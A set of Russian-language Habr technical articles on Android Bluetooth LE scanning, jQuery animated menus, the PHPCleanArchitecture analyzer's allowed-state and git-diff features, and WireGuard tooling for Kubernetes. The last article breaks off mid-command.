* **В Android есть несколько известных (и неизвестных) багов** которые должны быть обработаны, особенно в версиях 4,5 и 6. Более поздние версии работают намного лучше, но тоже имеют определенные проблемы, такие как случайные сбои соединения с *ошибкой 133*. Подробнее об этом ниже.
Не претендую на то, что я решил все проблемы, но мне удалось выйти на «приемлемый» уровень. Начнем со сканирования.
### Сканирование устройств
Перед подключением к устройству вам нужно его просканировать. Это делается при помощи класса `BluetoothLeScanner`:
```
BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
BluetoothLeScanner scanner = adapter.getBluetoothLeScanner();
if (scanner != null) {
scanner.startScan(filters, scanSettings, scanCallback);
Log.d(TAG, "scan started");
} else {
Log.e(TAG, "could not get scanner object");
}
```
Сканер пытается найти устройства в соответствии с настройками `filters` и `scanSettings`, при обнаружении устройства вызывается `scanCallback`:
```
private final ScanCallback scanCallback = new ScanCallback() {
@Override
public void onScanResult(int callbackType, ScanResult result) {
BluetoothDevice device = result.getDevice();
// ...do whatever you want with this found device
}
@Override
public void onBatchScanResults(List results) {
// Ignore for now
}
@Override
public void onScanFailed(int errorCode) {
// Ignore for now
}
};
```
В результате сканирования мы получаем экземпляр `ScanResult` , в котором есть объект `BluetoothDevice`, его используют для подключения к устройству. Но прежде чем начать подключаться, поговорим о сканировании подробнее, `ScanResult` содержит несколько полезных сведений об устройстве:
* **Advertisement data** - массив байтов с информацией об устройстве, для большинства устройств это имя и UUID сервисов, можно задать в `filters` имя устройства и UUID сервисов для поиска конкретных устройств.
* **RSSI уровень** - уровень сигнала (насколько близко устройство).
* … дополнительные данные, см. документацию по `ScanResult` [здесь](https://developer.android.com/reference/android/net/wifi/ScanResult).
Помним про жизненный цикл `Activity`, `onScanResult` может вызываться многократно для одних и тех же устройств, при пересоздании `Activity` сканирование может запускаться повторно, вызываю лавину вызовов `onScanResult`.
### Настраиваем фильтр для сканирования
Вообще можно передать *null* вместо фильтров и получить все ближайшие устройства, иногда это полезно, но чаще требуются устройства с определенным именем или набором UUID сервисов.
#### Сканирование устройств по UUID сервиса
Используется если вам необходимо найти устройства определенной категории, например мониторы артериального давления со стандартным сервисным UUID: 1810. При сканировании устройство может содержать в *Advertisement data* UUID сервис, который характеризует это устройство. На самом деле эти данные ненадежные, фактически сервисы могут не поддерживаться, или подделываться *Advertisement data* данные, в общем тут есть творческий момент.
*Прим. переводчика: одно из моих устройств со специфичной прошивкой, вообще не содержало список UUID сервисов в Advertisement data, хотя все остальные прошивки этого устройства работали ожидаемо.*
Пример сканирования службы с артериальным давлением:
```
UUID BLP_SERVICE_UUID = UUID.fromString("00001810-0000-1000-8000-00805f9b34fb");
UUID[] serviceUUIDs = new UUID[]{BLP_SERVICE_UUID};
List filters = null;
if(serviceUUIDs != null) {
filters = new ArrayList<>();
for (UUID serviceUUID : serviceUUIDs) {
ScanFilter filter = new ScanFilter.Builder()
.setServiceUuid(new ParcelUuid(serviceUUID))
.build();
filters.add(filter);
}
}
scanner.startScan(filters, scanSettings, scanCallback);
```
Обратите внимание на короткий UUID (например `1810`), он называется `16-bit UUID` и является частью длинного `128-bit UUID` (в данном случае `00001810-000000-1000-8000-000-00805f9b34fb`). Короткий UUID это BASE\_PART длинного UUID, см. спецификацию [здесь](https://www.bluetooth.com/specifications/assigned-numbers/service-discovery).
#### Сканирование устройств по имени
Поиск устройств использует точное совпадение имени устройства, обычно это применяется в двух случаях:
* поиск конкретного устройства
* поиск конкретной модели устройства, например, мой нагрудный напульсник Polar H7 определяется как «Polar H7 391BBB014», первая часть - «Polar H7» общая для всех таких устройств этой модели, а последняя часть «391BBB014» - уникальный серийный номер. Это очень распространенная практика. Если вы хотите найти все устройства «Polar H7», то фильтр по имени вам не поможет, придется искать подстроку у всех отсканированных устройств в `ScanResult`. Пример с поиском **точно** по имени:
```
String[] names = new String[]{"Polar H7 391BB014"};
List filters = null;
if(names != null) {
filters = new ArrayList<>();
for (String name : names) {
ScanFilter filter = new ScanFilter.Builder()
.setDeviceName(name)
.build();
filters.add(filter);
}
}
scanner.startScan(filters, scanSettings, scanCallback);
```
#### Сканирование устройств по MAC-адресам.
Обычно применяется для **переподключения** к уже известным устройствам. Обычно мы не знаем MAC-адрес девайса, если не сканировали его раньше, иногда адрес печатается на коробке или на корпусе самого устройства, особенно это касается медицинских приборов. Существует другой способ повторного подключения, но в некоторых случаях придется еще раз сканировать устройство, например при очистке кеша Bluetooth.
```
String[] peripheralAddresses = new String[]{"01:0A:5C:7D:D0:1A"};
// Build filters list
List filters = null;
if (peripheralAddresses != null) {
filters = new ArrayList<>();
for (String address : peripheralAddresses) {
ScanFilter filter = new ScanFilter.Builder()
.setDeviceAddress(address)
.build();
filters.add(filter);
}
}
scanner.startScan(filters, scanSettings, scanByServiceUUIDCallback);
```
Вероятно вы уже поняли, что можно комбинировать в фильтре UUID, имя и MAC-адрес устройства. Выглядит неплохо, но на практике я не применял такое. Хотя может быть вам это пригодится.
### Настройка ScanSettings
`ScanSettings` объясняют Android как сканировать устройства. Там есть ряд настроек, которые можно задать, ниже полный пример:
```
ScanSettings scanSettings = new ScanSettings.Builder()
.setScanMode(ScanSettings.SCAN_MODE_LOW_POWER)
.setCallbackType(ScanSettings.CALLBACK_TYPE_ALL_MATCHES)
.setMatchMode(ScanSettings.MATCH_MODE_AGGRESSIVE)
.setNumOfMatches(ScanSettings.MATCH_NUM_ONE_ADVERTISEMENT)
.setReportDelay(0L)
.build();
```
#### ScanMode
Безусловно, это самый важный параметр. Определяет метод и время сканирования в Bluetooth стеке. Такая операция требует много энергии и необходим контроль над этим процессом, чтобы не разрядить батарею телефона быстро. Есть 4 режима работы, в соответствии с руководством [Nordics](https://devzone.nordicsemi.com/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-04-DZ-1046/2604.BLE_5F00_on_5F00_Android_5F00_v1.0.1.pdf) и официальной [документацией](https://developer.android.com/reference/android/bluetooth/le/ScanSettings):
1. `SCAN_MODE_LOW_POWER`. В этом режиме Android сканирует 0.5с, потом делает паузу на 4.5с. Поиск может занять относительно длительное время, зависит от того насколько часто устройство посылает пакет advertisement данных.
2. `SCAN_MODE_BALANCED`. Время сканирования: 2с, время паузы: 3с, «компромиссный» режим работы.
3. `SCAN_MODE_LOW_LATENCY`. В этом случае, Android сканирует непрерывно, что очевидно требует больше энергозатрат, при этом получаются лучшие результаты сканирования. Режим подходит если вы хотите найти свое устройство как можно быстрее. Не стоит использовать для длительного сканирования.
4. `SCAN_MODE_OPPORTUNISTIC`. Результаты будут получены, если сканирование выполняется другими приложениями! Строго говоря, это вообще не гарантирует, что обнаружится ваше устройство. Стек Android использует этот режим в случае долгого сканирования, для понижения качества результатов (см. ниже «Непрерывное сканирование»).
#### Callback Type
Эта настройка контролирует как будет вызываться callback со `ScanResult` в соответствии с заданными фильтрами, есть 3 варианта:
1. `CALLBACK_TYPE_ALL_MATCHES`. Callback будет вызывать каждый раз, при получении advertisement пакета от устройств. На практике - каждые 200-500мс будет срабатывать сallback, в зависимости от частоты отправки advertisement пакетов устройствами.
2. `CALLBACK_TYPE_FIRST_MATCH`. Callback сработает один раз для устройства, даже если оно далее будет снова посылать advertisement пакеты.
3. `CALLBACK_TYPE_MATCH_LOST`. Callback будет вызван, если получен первый advertisement пакет от устройства и дальнейшие advertisement пакеты не обнаружены. Немного странное поведение.
В практике обычно используются настройка `CALLBACK_TYPE_ALL_MATCHES` или `CALLBACK_TYPE_FIRST_MATCH`. Правильный тип зависит от конкретного случая. Если не знаете - используйте `CALLBACK_TYPE_ALL_MATCHES`, это дает больше контроля при получении callback, если вы останавливаете сканирование после получения нужных результатов - фактически это `CALLBACK_TYPE_FIRST_MATCH`.
#### Match mode
Настройка того, как Android определяет «совпадения».
1. `MATCH_MODE_AGGRESSIVE`. Агрессивность обуславливается поиском минимального количества advertisement пакетов и устройств даже со слабым сигналом.
2. `MATCH_MODE_STICKY`. В противоположность, этот режим требует большего количества advertisement пакетов и хорошего уровня сигнала от устройств.
Я не тестировал эти настройки подробно, но я в основном использую `MATCH_MODE_AGGRESSIVE`, это помогает быстрее найти устройства.
#### Number of matches
Параметр определяет сколько advertisement данных необходимо для совпадения.
1. `MATCH_NUM_ONE_ADVERTISEMENT`. Одного пакета достаточно.
2. `MATCH_NUM_FEW_ADVERTISEMENT`. Несколько пакетов нужно для соответствия.
3. `MATCH_NUM_MAX_ADVERTISEMENT`. Максимальное количество advertisement данных, которые устройство может обработать за один временной кадр.
Нет большой необходимости в таком низкоуровневом контроле. Все что вам надо - быстро найти свое устройство, обычно используются первые 2 варианта.
#### Report delay
Задержка для вызова сallback в миллисекундах. Если она больше нуля, Android будет собирать результаты в течение этого времени и вышлет их сразу все в обработчике `onBatchScanResults`. Важно понимать что `onScanResult` не будет вызываться. Обычно применяется, когда есть несколько устройств одного типа и мы хотим дать пользователю выбрать одно из них. Единственная проблема здесь - предоставить информацию пользователю для выбора, это должен быть не только MAC-адрес (например имя устройства).
Важно: есть [известный баг](https://devzone.nordicsemi.com/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-04-DZ-1046/2604.BLE_5F00_on_5F00_Android_5F00_v1.0.1.pdf) для Samsung S6 / Samsung S6 Edge, когда все результаты сканирования имеют один и тот же RSSI (уровень сигнала) при задержке больше нуля.
### Кеширование Android Bluetooth стека
В результате процесса сканирования вы получаете список BLE устройств и при этом данные устройств «кешируются» в Bluetooth стеке. Там хранится основная информация: имя, MAC-адрес, тип адреса (публичный, случайный), тип устройства (Classic, Dual, BLE) и т.д. Android нужны эти данные, чтобы подключится к устройству быстрее. Он кеширует все устройства, которые видит при сканировании. Для каждого из них записывается небольшой файл с данными. Когда вы пытаетесь подключиться к устройству, стек Android ищет соответствующий файл, чтобы прочитать данные для подключения. Важный момент - одного MAC-адреса недостаточно для успешного подключения к устройству!
### Очистка кеша
Bluetooth кеш, как и любой другой, не существует вечно, есть 3 ситуации, когда он очищается:
1. Выключение и включение системного переключателя Bluetooth
2. Перезагрузка телефона
3. Очистка данных приложения (в ручном режиме в настройках телефона)
Это достаточно неудобный момент для разработчиков, потому что телефон часто перезагружается, пользователь может включать-выключать самолетный режим. Есть еще различия между производителями телефонов, например на некоторых телефонах Samsung, кеш не очищался при выключении Bluetooth.
Это значит, что нельзя полагаться на данные об устройстве из BT кеша. Есть небольшой трюк, он поможет узнать закешировано ли устройство или нет:
```
// Get device object for a mac address
BluetoothDevice device = bluetoothAdapter.getRemoteDevice(peripheralAddress)
// Check if the peripheral is cached or not
int deviceType = device.getType();
if(deviceType == BluetoothDevice.DEVICE_TYPE_UNKNOWN) {
// The peripheral is not cached
} else {
// The peripheral is cached
}
```
Это важный момент, если нужно подключиться к устройству позже, не сканируя его. Подробнее об этом позже.
### Непрерывное сканирование?
Вообще хорошая практика – избегать непрерывного сканирования потому что, это очень энергоемкая операция, а пользователи любят, когда батарея их смартфона работает долго. Если вам действительно нужно постоянное сканирование, например при поиске BLE-маячков, выберите настройки сканирования с низким потреблением и ограничивайте время сканирования, например когда приложение находится только на переднем плане (foreground), либо сканируйте с перерывами.
Плохая новость в том, что Google в последнее время ограничивает (неофициально) непрерывное сканирование:
* c Android 8.1 [сканирование без фильтров блокируется при выключенном экране](https://stackoverflow.com/questions/48077690/ble-scan-is-not-working-when-screen-is-off-on-android-8-1-0). Если у вас нет никаких `ScanFilters`, Android приостановит сканирование, когда экран выключен и продолжит, когда экран снова будет включен. [Комментарии от Google.](https://android.googlesource.com/platform/packages/apps/Bluetooth/+/319aeae6f4ebd13678b4f77375d1804978c4a1e1) Это очевидно очередной способ энергосбережения от Google.
* c Android 7 вы можете сканировать только в течение 30 минут, после чего Android меняет параметры на `SCAN_MODE_OPPORTUNISTIC`. Очевидное решение, перезапускать сканирование с периодом менее, чем [30 мин](https://android-review.googlesource.com/c/platform/packages/apps/Bluetooth/+/231662/2/src/com/android/bluetooth/gatt/ScanManager.java). Посмотрите [commit](https://android-review.googlesource.com/c/platform/packages/apps/Bluetooth/+/215844) в исходном коде.
* с Android 7 запуск и останов сканирования более 5 раз за 30 секунд [временно отключает сканирование](https://blog.classycode.com/undocumented-android-7-ble-behavior-changes-d1a9bd87d983).
### Непрерывное сканирование в фоне
Google значительно усложнил сканирование на переднем плане. Для фонового режима вы столкнетесь с еще большими трудностями! Новые версии Android имеют лимиты на работу служб в фоновом режиме, обычно после 10 минут работы, фоновый сервис прекращает свою работу принудительно. Посмотрите возможные решения этой проблемы:
* Обсуждение на [StackOverflow](https://stackoverflow.com/questions/51371372/beacon-scanning-in-background-android-o)
* Статья [David Young](http://www.davidgyoungtech.com/2017/08/07/beacon-detection-with-android-8)
### Проверка разрешений (permissions)
Есть еще несколько важных моментов, прежде чем мы закончим статью. Для начала сканирования нужны системные разрешения (permissions):
```
```
Убедитесь, что все разрешения одобрены, или запросите их у пользователя. Разрешение `ACCESS_COARSE_LOCATION` Google считает «опасным» и для него требуется обязательное согласие пользователя.
```
private boolean hasPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (getApplicationContext().checkSelfPermission(Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
requestPermissions(new String[] { Manifest.permission.ACCESS_COARSE_LOCATION }, ACCESS_COARSE_LOCATION_REQUEST);
return false;
}
}
return true;
}
```
*Прим. переводчика, в моем проекте для корректной работы с BLE потребовалось еще 2 разрешения:*`ACCESS_FINE_LOCATION`*(для API<23) и*`ACCESS_BACKGROUND_LOCATION`[*обсуждение на Stackoverflow*](https://stackoverflow.com/a/32730190/2154011)*.*
В итоге полный список разрешений включая версию Android10:
```
```
После получения всех нужный разрешений, нужно проверить включен Bluetooth, если нет - используйте `Intent` для запуска запроса на включение:
```
BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (!bluetoothAdapter.isEnabled()) {
Intent enableBtIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);
startActivityForResult(enableBtIntent, REQUEST_ENABLE_BT);
}
```
### Заключение
Мы научились запускать сканирование BLE устройств с учетом жизненного цикла Activity (Fragment / Service), использовать фильтры и различные настройки сканирования, также узнали все нужные разрешения (permissions) для удачного запуска сканирования и особенности работы Android-Bluetooth кеша. В [следующей статье](https://habr.com/ru/post/537526/) мы погрузимся глубже в процесс подключения и отключения к устройствам.
Спасибо! | https://habr.com/ru/post/536392/ | null | ru | null |
# Анимированные меню на jQuery [часть 2]
*По мотивам [этого](http://habrahabr.ru/blogs/ui_design_and_usability/65917/) перевода.*
На одном из текущих проектов мы хотели добавить эффект на иконки меню — приподнимание в момент наведения мышкой. Я поэкспериментировал, используя встроенный в jquery эффект animate, на иконках двух типов: с отражениями и с тенями.
[Смотрим демо](http://adrianpelletier.com/sandbox/jquery_hover_nav/)
[Скачать](http://adrianpelletier.com/sandbox/jquery_hover_nav/demo.zip)
Как HTML, так и CSS достаточно просты и имеют структуру, аналогичную обычным навигационным панелям и меню в интернете (чтобы не захламлять топик, я не стал включать сюда HTML/CSS код примеров, но вы можете посмотреть его в демо или в скачанных файлах — ссылка ниже).
Вкратце, с помощью JS добавляем отражение/тень каждому элементу - . Потом изменяем позицию с эффектом анимации, а также меняем прозрачность этих добавленных элементов и самих иконок из меню в момент наведения мыши.
Я добавил .stop(), чтобы избежать выстраивания любой очереди событий в случае быстрого перемещения мышки туда сюда по навигационной панели.
> `// Begin jQuery
>
>
>
> $(document).ready(function() {
>
>
>
> /\* =Reflection Nav
>
> -------------------------------------------------------------------------- \*/
>
>
>
> // Append span to each LI to add reflection
>
>
>
> $("#nav-reflection li").append("");
>
>
>
> // Animate buttons, move reflection and fade
>
>
>
> $("#nav-reflection a").hover(function() {
>
> $(this).stop().animate({ marginTop: "-10px" }, 200);
>
> $(this).parent().find("span").stop().animate({ marginTop: "18px", opacity: 0.25 }, 200);
>
> },function(){
>
> $(this).stop().animate({ marginTop: "0px" }, 300);
>
> $(this).parent().find("span").stop().animate({ marginTop: "1px", opacity: 1 }, 300);
>
> });
>
>
>
> /\* =Shadow Nav
>
> -------------------------------------------------------------------------- \*/
>
>
>
> // Append shadow image to each LI
>
>
>
> $("#nav-shadow li").append('');
>
>
>
> // Animate buttons, shrink and fade shadow
>
>
>
> $("#nav-shadow li").hover(function() {
>
> var e = this;
>
> $(e).find("a").stop().animate({ marginTop: "-14px" }, 250, function() {
>
> $(e).find("a").animate({ marginTop: "-10px" }, 250);
>
> });
>
> $(e).find("img.shadow").stop().animate({ width: "80%", height: "20px", marginLeft: "8px", opacity: 0.25 }, 250);
>
> },function(){
>
> var e = this;
>
> $(e).find("a").stop().animate({ marginTop: "4px" }, 250, function() {
>
> $(e).find("a").animate({ marginTop: "0px" }, 250);
>
> });
>
> $(e).find("img.shadow").stop().animate({ width: "100%", height: "27px", marginLeft: "0px", opacity: 1 }, 250);
>
> });
>
>
>
> // End jQuery
>
>
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обращаю внимание, что ради данной быстрой демки, я не стал заботиться о поддержке в IE6.
PS
Данный пример не требует jQuery UI и будет также работать на чистом jQuery. Но в демо по ссылке и в файлах к загрузке — я оставил скрипт UI для тех, кто захочет поиграть с [анимированным изменением текста, фона, границ или окружающего цвета](http://jqueryui.com/demos/animate/). | https://habr.com/ru/post/66333/ | null | ru | null |
# PHPCleanArchitecture — Что нового?
Этот пост является дополнением [предыдущего](https://habr.com/ru/post/504590/). В нём я расскажу о новых возможностях [инструмента](https://github.com/Chetkov/php-clean-architecture) (~~с блэкджеком и шлюпками~~ с примерами и картинками).
Предисловие
-----------
Привет! Рад что ты читаешь это, а еще больше я буду рад, если этот пост окажется для тебя интересным и полезным.
В своём [предыдущем посте](https://habr.com/ru/post/504590/) я представил сообществу [инструмент](https://github.com/Chetkov/php-clean-architecture) для визуализации и анализа архитектуры php-приложений и автоматизации процесса контроля её качества.
С тех пор прошло не мало времени и мне есть чем поделиться.
Сегодня поговорим о новых возможностях, без которых использование [php-clean-architecture](https://github.com/Chetkov/php-clean-architecture) в реальных проектах было сильно затруднено (или вообще невозможно).
Содержание* [Предисловие](#introduction)
* [Разрешенное состояние проекта](#allowed_state)
* [Ограничение работы списком разрешенных путей](#allowed_paths)
* [Заключение](#conclusion)
Если бы мне кто-то сказал, что в проекте над которым он трудится продолжительное время (с командой или в одиночку, наверное не важно), нет архитектурных проблем - я бы не поверил. И дело здесь совсем не в компетенции команды или конкретных её членов, а в человеческом факторе.
> Человек без ошибки - ошибка природы. (Когда-то давно, в моём детстве, так мне говорил отец).
>
>
Мы люди, а людям свойствено ошибаться: разработчик допустил ошибку, ревьюер недоглядел и пропустил запрос на слияние, и вот проблема уже в мастере.
А ты ведь знаешь - архитектурные ошибки коварны. Они могут очень долгое время оставаться незамеченными, а проявляются (по собственному опыту) в самый неподходящий момент.
Автоматизация - самый действенный способ решения многих проблем. Мне кажется, если процесс контроля качества кода/архитектуры в проекте не автоматизирован (средствами различных инструментов, вроде стат. анализаторов и их подобным), в нём просто не может не быть проблем.
Об автоматизации процесса контроля качества архитектуры php-проектов я рассказывал [во второй части предыдущего поста](https://habr.com/ru/post/504590/#27). Наглядно и с примерами я показывал, как подключить и начать использовать разработанный мною инструмент [php-clean-architecture](https://github.com/Chetkov/php-clean-architecture) (далее по статье - phpca). С его помощью можно визуализировать граф зависимости компонентов проекта и контролировать значения метрик качества, описанных Робертом Мартиным в его книге "Чистая архитектура".
Разрешенное состояние проекта
-----------------------------
Как оказалось, тогда phpca был хорош при подключении к проектам на начальном этапе. В таких проектах еще нет большого тех. долга, а значит все обнаруженные проблемы можно махом исправить, и дальше уже сам phpca будет бить разработчиков по рукам. Но вот при подключении его к боевому проекту выяснилось, что гибкости для работы с большими проектами, в которых уже накоплен внушительный тех. долг, что разом исправить его за сколь-либо адекватный срок невозможно, сильно не хватает.
**Пример:** предположим есть проект состоящий из следующих компонентов:
* **domain** (сущности, интерфейсы их репозиториев, ...)
* **infrastructure** (какие-то инфраструктурные классы, типа email и sms сендеров, реализации репозиториев, ...)
* **use cases** (различные возможные сценарии использования)
* **entry-points** (классы запросов и ответов, контроллеры, форматеры и прочее)
Каждый из компонентов содержит 100+ файлов.
Настраивая phpca мы задаём правила:
* **domain** не должен иметь исходящих зависимостей
* **use cases** может знать только про **domain**
* **entry-points** может знать только про **use-cases** и **domain**
* **infrastructure** может знать только про **domain** и **use cases**
В действительности же:
* 20 классов из **domain** каким-либо образом зависят от 17 классов из **use cases**
* 32 класса из **use case** используют 28 сервисов из **infrastructure**
* 18 контроллеров из **entry-points** используют 12 классов из **infrastructure**
* и даже сервисы из **infrastructure** зависят от request-классов из **entry-points**
(не спрашивай почему так, пример надуманный, но даёт возможность предметно рассмотреть проблему и ее решение)
Что получается? С одной стороны мы не можем быстро решить все обнаруженные проблемы, их слишком много. С другой стороны, если сейчас не задать запрещающие правила для направлений в графе зависимости компонентов, то через время проблем будет еще больше.
Для решения этой проблемы в инструмент была добавлена *команда сохранения текущего состояния проекта* (настройка доступна в конфигурационном файле phpca-config.php)
```
// Исключения
'exclusions' => [
'allowed_state' => [
'enabled' => true,
'storage' => __DIR__ . '/phpca-allowed-state.php',
],
],
```
В процессе выполнения, команда `vendor/bin/phpca-allow-current-state {?path/to/phpca-config.php}` строит и сохраняет нынешний граф зависимости компонентов и их составляющих между собой для его дальнейшего использования.
При истинном значении флага *exclusions.allowed\_state.enabled*, в момент выполнения команд *phpca-build-report* и *phpca-check*, ранее сохраненное *разрешенное состояние проекта* будет учитываться анализатором, и ранее существовавшие несоответствия в графе зависимости компонентов будут игнорироваться.
Таким образом, мы можем взять абсолютно любой проект, с любым количеством проблем, подключить и настроить в нем phpca как нам хочется, выгрузить текущее состояние и сразу запускать его в эксплуатацию. Старые проблемы будут игнорироваться, но новые phpca уже не пропустит. А далее, по мере решения старых проблем, усиливать проверки.
*Рекоммендация:* Файл для сохранения *разрешенного состояния проекта* должен быть под управлением системы контроля версий (для того, чтоб у всех членов команды он был един, а еще для возможности частичного построения отчетов или запуска проверок по *списку разрешенных путей*, но об этом в следующем пункте).
Ограничение работы списком разрешенных путей
--------------------------------------------
В какой-то из дней, сидя на работе и отсматривая одну жирную MR коллеги, я задался вопросом.. Запрос на слияние был действительно большим и мне хотелось взглянуть на изменения сверху, без лишних деталей. Тогда я уже использовал phpca в нескольких проектах, но он мог работать только со всей кодовой базой, а я хотел визуализировать лишь ее новую/измененную часть. Ведь это было бы очень удобно, иметь возможность еще на этапе код-ревью, за пару секунд сформировать по измененным файлам отчет без воды и лишних деталей, с визуализацией графа зависимости компонентов и таблиц зависимости их составляющих, и понять какие из этих изменений и чем нарушают установленные правила.
Еще хотелось сделать эту возможность гибкой, чтоб *списки разрешенных путей* можно было формировать и передавать в команду динамически. Конфигурационный файл для этих целей не подходил чуть больше чем совсем. Так phpca научился работать с переменными окружения.
**Рассмотрим пример:** ниже расположен общий граф зависимости компонентов *php-clean-architecture,* построенный командой`vendor/bin/phpca-build-reports {?path/to/phpca-config.php}` по всей кодовой базе проекта
граф зависимости компонентов php-clean-architectureДалее рассмотрим детали со страницы отчета по компоненту **entry-points**
граф зависимости компонента entry-points(я специально выбрал в качестве примера небольшой компонент небольшого проекта, чтоб всё было максимально наглядно и не возникло путаницы)
На скриншоте видно, что изначально 1класс из **entry-points** зависит от 4х классов из **model**.
Далее я внесу некоторые бессмысленные изменения в **entry-points** и сформирую отчет на основании этих изменений.
не пытайся найти смысл в этих изменениях, ничего не выйдет
```
export PHPCA_ALLOWED_PATHS=`git diff master --name-only` PHPCA_REPORTS_DIR='phpca-reports-by-git-diff'; bin/phpca-build-reports
```
Общий граф зависимости компонентов и граф зависимостей **entry-points** теперь выглядят одинаково. (Это происходит из-за того, что текущий отчет отображает данные только из единственного измененного файла, лишние компоненты из основного графа убраны)
граф зависимости компонента entry-points (на основе изменений)внесенные ранее изменения отражены в таблицеНа скриншоте видно, что в таблице зависимости составляющих компонента, помимо ранее существовавших теперь стали отражены и вновь внесенные изменения, а лишние компоненты и их составляющие из отчета убраны.
Так было уже почти хорошо, но мне все еще хотелось больше гибкости. Хотелось отбросить больше лишнего и оставить только самое важное. Ведь видеть полный отчет только по измененным файлам - это круто, но иногда было бы полезно видеть по измененным файлам НЕ полный отчет. Зачем мне смотреть список всех зависимостей, пусть даже и только измененных файлов, если я хочу узнать какие зависимости были добавлены в текущей ветке?
Это можно было реализовать дополнив фильтрацию графа по *списку разрешенных путей*, проверками наличия зависимостей в *разрешенном состоянии проекта* (из предыдущего пункта статьи).
Ниже я включу в файле конфигурации флаг *exclusions.allowed\_state.enabled* и повторно сформирую отчет на основании git diff текущей ветки с master.
граф зависимостей внесенных в измененных файлахТеперь граф и таблица зависимостей отображают только те изменения, которые действительно были внесены в измененных файлах. Все остальное из отчета убрано и это как-раз тот результат который мне хотелось получить.
Заключение
----------
Используя описанные выше возможности ты можешь сильно упростить процесс подключения phpca к своему проекту, даже если он активно разрабатывается большой командой и в нем есть много легаси, а также начать использовать инструмент при проведении код-ревью сессий, и таким образом благодаря наглядности облегчить анализ больших запросов на слияние и поиск в них потенциальных архитектурных проблем.
Я искренне рад, что ты дочитал пост до этого места. Спасибо тебе за потраченное время, и я надеюсь что возможность использования phpca и знания приобретенные из этой статьи в дальнейшем сэкономят тебе намного больше времени.
А еще я буду очень рад получить твою обратную связь в ЛС или комментариях.
Доброго времени суток и чистой архитектуры! | https://habr.com/ru/post/686236/ | null | ru | null |
# Wireguard для Kubernetes и удобные GUI
[](https://habr.com/ru/company/ruvds/blog/532140/)
> Can I just once again state my love for [WireGuard] and hope it gets merged soon? Maybe the code isn't perfect, but I've skimmed it, and compared to the horrors that are OpenVPN and IPSec, it's a work of art.
>
>
>
> *Linus Torvalds, on the Linux Kernel Mailing List*
Уверен, что многие уже слышали про Wireguard. Некоторые даже щупали вживую. Мне он вполне понравился в продакшене как по производительности, так и по простоте настройки. Да, там нет миллиона загадочных конфигураций на все случаи жизни как у OpenVPN и XFRM+StrongSwan в IPSEC VPN. Он прост и лаконичен как в коде, так и в конфигах. Жирным и неповоротливым он станет еще нескоро. Короче, такой позитивный вариант сценария «сжечь легаси и написать все как надо».
Я решил не писать очередной гайд «как я поставил Wireguard», а поделиться некоторыми полезными утилитами. Некоторые с очень удачным, на мой вкус GUI, что уместно для сервисов со множеством пользователей. Разберем использование этого VPN для связи между нодами в разных кластерах Kubernetes, несколько web-GUI для генерации и пару полезных ресурсов.
Зачем он вообще нужен?
----------------------
Ключевой вопрос. Одна из самых крутых его фишек — он очень производительный. В большинстве кейсов меньше задержки и выше пропускная способность при равной загрузке CPU. Если вы платите за потраченные ресурсы или планируете аренду виртуальных машин с учетом пиковых нагрузок, то этот тип VPN еще и сэкономит вам деньги. Объяснять, чем плохо гонять трафик по открытым сетям между отдельными нодами, я думаю не надо.
Источник: [www.wireguard.com/performance](https://www.wireguard.com/performance/)
Причем стоит обратить внимание на то, что он был включен в состав ядра начиная с Linux 5.6, а с весны этого года он также включен в состав основной ветки ядра Android, что дает нам отличную энергоэффективность на мобильниках. Хотя, надо сказать, что он и до этого не особо напрягал батарею телефона.
Kilo — wireguard для Kubernetes
-------------------------------
Очень часто у компаний крупнее среднего возникают ситуации, когда необходимо использовать несколько разных облаков. Причины разные — отказоустойчивость, хорошее присутствие в регионе и низкие пинги. Иногда цены на конкретные продукты. Например, вы можете крутить фронтенд и основную логику на собственных серверах, а GPU-hungry задачи выносить на AWS-инстансы.
Как это работает? Kilo требует наличия wireguard kernel-модуля на всех нодах. Если вы используете ядра новее 5.6, то модуль будет уже в основной ветке и допиливать ничего не придется. Далее, kilo agent, «kg», запускается на каждой ноде кластера, настраивая приватные и публичные ключи для организации VPN. Также автоматически настраиваются правила маршрутизации трафика между отдельными регионами. Также kilo может работать совместно с другими сетевыми решениями для кластеров, например с Flannel. При этом kilo будет обеспечивать связь между регионами, а Flannel позаботится о трафике внутри одной локации.
При построении сетевой топологии он опирается на [topology.kubernetes.io/region](https://kubernetes.io/docs/reference/kubernetes-api/labels-annotations-taints/#topologykubernetesioregion), но можно разметить регионы и вручную.
Требования:
* Ядро новее 5.6 или отдельный модуль wireguard
* Белые IP у нод, для организации прямого коннекта между ними.
Более подробная информация есть в прошлогоднем выступлении разработчиков на Kubernetes Forums в Сеуле и в [документации](https://kilo.squat.ai/docs/introduction).
wg-gen-web
----------
Что называется, «yet another config generator». Но очень приятный в работе. Основное отличие в подходе — автор не пытается на лету править конфигурацию работающего сервиса, а лишь предоставляет удобный GUI для генерации правил. Дальше вы сами имплементируете обновление конфигов на свой вкус.
Ключевые фичи — генерирует удобные QR-коды для мобильных клиентов и отправляет на почту клиенту все необходимые данные для подключения. Ну и докеризирован, само собой. [Репозиторий тут](https://github.com/vx3r/wg-gen-web).
Деплой довольно прост:
```
docker run --rm -it -v /tmp/wireguard:/data -p 8080:8080 -e "WG_CONF_DIR=/data" vx3r/wg-gen-web:latest
```
Subspace
--------
Еще один GUI для удобной работы с множеством клиентских устройств.
Основные фичи:
1. Single Sign-On с использованием SAML. Можно заходить под Google учеткой.
2. Добавление и удаление устройств в несколько кликов
3. Генерация индивидуальных конфигов для каждого устройства. Ну и QR-код, конечно.
4. HTTPS от Let's Encrypt из коробки и автоматический редирект на 443 порт
Легко деплоится на VPS. У нас, кстати, они есть. Можем отсыпать)
На сервере должен быть установлен wireguard и открыты порты: 80/tcp, 443/tcp, 51820/udp (WireGuard). При этом надо удалить штатный dnsmasq, так как он будет запущен в контейнере.
Дальше все довольно типично, только --env SUBSPACE\_HTTP\_HOST заменить на свой домен:
```
# Your data directory should be bind-mounted as `/data` inside the container using the `--volume` flag.
$ mkdir /data
docker create \
--name subspace \
--restart always \
--network host \
